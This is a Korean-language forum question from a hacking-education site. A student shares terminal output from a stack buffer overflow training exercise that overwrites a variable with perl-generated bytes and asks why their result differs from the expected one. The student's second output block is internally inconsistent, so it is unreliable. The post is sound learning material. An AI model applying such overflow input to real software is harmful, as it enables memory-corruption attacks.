|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=24060 [복사]
perl 명령어
[student@localhost 15]$ ./training_2 AAAAAAAAAAAAAAAAAAAA`perl -e 'print "\x69\x7a"'`
0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffffb20 00 00 00 00 d2 04 00 00 ........
[*] BEFORE : the value of target is 1234
0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb20 41 41 41 41 69 7a 00 00 AAAAiz..
[*] AFTER : the value of target is 31337
[student@localhost 15]$
치는 부분에서요
위와 같이 명령어를 쳤는데
왜자꾸 저는 명령어가 먹질 않고
[student@localhost 15]$ ./training_2 AAAAAAAAAAAAAAAAAAAA`perl -e 'print "\x69\x7a"'`
0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffffb20 00 00 00 00 d2 04 00 00 ........
[*] BEFORE : the value of target is 1234
0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb20 41 41 41 41 69 7a 00 00 AAAApearl
[*] AFTER : the value of target is 1819436400
[student@localhost 15]$
위와 같이 나오나요??
다른 분들은 잘 되시나요?
지금 레드햇 리눅스 6.2 사용중입니다. ~!! |
Hit : 5100 Date : 2012/07/08 06:28
|